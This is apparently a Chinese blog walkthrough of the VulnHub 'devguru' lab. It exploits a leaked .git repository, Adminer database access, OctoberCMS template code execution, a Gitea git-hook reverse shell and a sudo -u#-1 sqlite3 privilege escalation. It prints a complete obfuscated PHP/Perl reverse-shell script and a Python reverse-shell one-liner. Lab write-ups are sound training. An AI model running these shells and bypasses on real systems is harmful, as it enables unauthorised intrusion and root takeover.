vulnhub靶场—devguru

甲、前言

靶场地址:https://www.vulnhub.com/entry/devguru-1,620/

难度:中级

 

devguru是我做的第二个vulnhub靶场,实在是由于个人对linux提权的了解实在匮乏。但思前想后还是点击了下载按钮,这便有了这次小白向过关教程。

 

乙、信息搜集

 

1609398808_5fed7a18d9b6b87056a26.png!small?1609398812797

开机后上来就是一通扫,很快啊。

  • namp

好家伙直接到手8585端口gitea登陆页面。

http://172.31.131.206:8585/user/login                gitea登录

 

  • dirsearch扫描目录

http://172.31.131.206/adminer.php        sql登录页面

http://172.31.131.206/.git/index

http://172.31.131.206/.git/HEAD

http://172.31.131.206/.git/config

http://172.31.131.206/refs/heads/master

 

中间件为Octobercms,百度搜集登陆地址为

http://172.31.131.206/backend/backend/auth/signin              Octobercms登录

 

上来就收获三个登录框。我不禁理解了皇上晚上翻拍时的无奈,这该如何选择呢。

正在这内心交战时刻,突然看到一个水灵的宫女缓缓从身边走过入了园内,探头望去园内竟然是一片旖旎之色,一览无余。原来这宫女名为’计嫒悌‘,是内宫里有名的小鸨,靠替人引路来谋生。不妨前去一探究竟。

  • git-dumper

.git可以尝试git泄露,来获取文件

项目地址:

https://github.com/arthaud/git-dumper

获取到如下文件

1609398928_5fed7a9079db7b6e9797a.png!small?1609398927595

查看配置文件找到数据库信息。

1609398943_5fed7a9f1a9a4865cbd7f.png!small?1609398942100

丙、获取shellx01

在这衣带渐宽之刻,哪有不入之道理?

访问http://172.31.131.206/adminer.php进行登录

1609398993_5fed7ad11da79677f64c7.png!small?1609398992171

尝试解密frank密码,但用john解密失败。

这里转变思路,新建用户并且分配管理员权限来登陆系统。

新建用户aaa

进去后发现权限不够,新建userid为2,group_id为1的组数据。

1609399026_5fed7af29f414fce12634.png!small?1609399025645

登录成功

我giao,竟然在这关键时刻没有小外套(shell)(手动滑稽

 

查找octobercms的漏洞,发现有上传点和新建webshell文件漏洞,但都修复了无法利用。

后来在外网找到相关的利用方式,编辑home文件,然后访问时get传参来执行shell。

1609725405_5ff275dd4968ec0855e88.png!small访问主页,http://172.31.131.206/?cmd=id

直接执行bash反弹和python反弹都无用,在本地搭建web,上传构造的php文件,执行下载操作,获取webshell。

这里可以直接上传哥斯拉php,也可以上传php反弹shell文件。

这里附上mdxy-dxy的php反弹shell码

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

 

Php反弹

哥斯拉

尝试提权,奈何技术太菜,没门路。

继续获取其他登录页面账户密码信息,只剩下gitea的了。

 

丁、获取shellx02

哼,无趣

果然么,到了这一步还是要去找“计嫒悌”领取小外套,这次怕是得脱层皮了

获取gitea数据库密码

登陆后查看表信息

密码是加密的,理论上可以在源码上找到加密方式,来编写解密代码,但本人代码能力太菜,就按最无脑的方法来做了。本地搭gitea,然后复制加密后的密码。

本地搭建gitea(参考:https://docs.gitea.io/zh-cn/database-prep/),设置账户密码。123456

sql语句如下
(`id`, `lower_name`, `name`, `full_name`, `email`, `keep_email_private`, `email_notifications_preference`, `passwd`, `passwd_hash_algo`, `must_change_password`, `login_type`, `login_source`, `login_name`, `type`, `location`, `website`, `rands`, `salt`, `language`, `description`, `created_unix`, `updated_unix`, `last_login_unix`, `last_repo_visibility`, `max_repo_creation`, `is_active`, `is_admin`, `is_restricted`, `allow_git_hook`, `allow_import_local`, `allow_create_organization`, `prohibit_login`, `avatar`, `avatar_email`, `use_custom_avatar`, `num_followers`, `num_following`, `num_stars`, `num_repos`, `num_teams`, `num_members`, `visibility`, `repo_admin_change_team_access`, `diff_view_style`, `theme`, `keep_activity_private`) VALUES
(1, '123', '123', '', '123@qq.com', 0, 'enabled', '9d5bbc4a2ab4b20d893be05f9f1299444891dee8945dff50c93be9af174dae68a527d1851d136bcbcdf86fc3e0da9b9981e2', 'argon2', 0, 0, 0, '', 0, '', '', '2NazllYHad', 'H2MRF5mpEj', '', '', 1608889331, 1608889904, 0, 0, -1, 1, 1, 0, 0, 0, 1, 0, '', '123@qq.com', 0, 0, 0, 0, 0, 0, 0, 0, 0, '', 'gitea', 0);

 

起初只复制了passwd,结果登陆不上,搜索后发现密码生成和salt、hash_algo有关,就直接复制本地表内容覆盖原内容了。保存后成功利用修改后的密码登录gitea

开始在gitea中getshell。

编辑git hook,添加以下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

 

至于这里为什么是python3,因为在webshell中查到安装的是python3

这里通过python反弹shell

提交项目更改信息,反弹frank用户shell

戊、提权

经过辛劳奋战,终于从“计嫒悌”手中夺得了小外套。

下一步准备发射shell.

 

内核漏洞提权,查无此漏洞

SUID 提权,没有给出建议

查看sudo权限下用户

在https://gtfobins.github.io/上查询linux下关于sqlite3的提权漏洞

用户使用sudo时会要求输入密码,这个无解。灵机一动,查看sudo版本,搜索

啊,灵感来了,走你

Sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

 

酥服了!!

 

己、总结:

1.就这个靶场而言,每个小关卡都很有意思(可能只有我这种菜鸡才觉得有意思)。权限提升不一定要一步到位,也可能需要你慢慢琢磨,从一个平台跳到另一个平台,逐步提权.

2.代码审计很重要,如果能从git项目中找到加密代码来进行解密,就不需要去花费时间搭啥gitea。

3.“面向搜索引擎”渗透虽然很可笑,但是小白成长到大佬的必备过程,多从外网找找答案。

posted @ 2021-01-04 14:52  PYkiller  阅读(779)  评论(0编辑  收藏  举报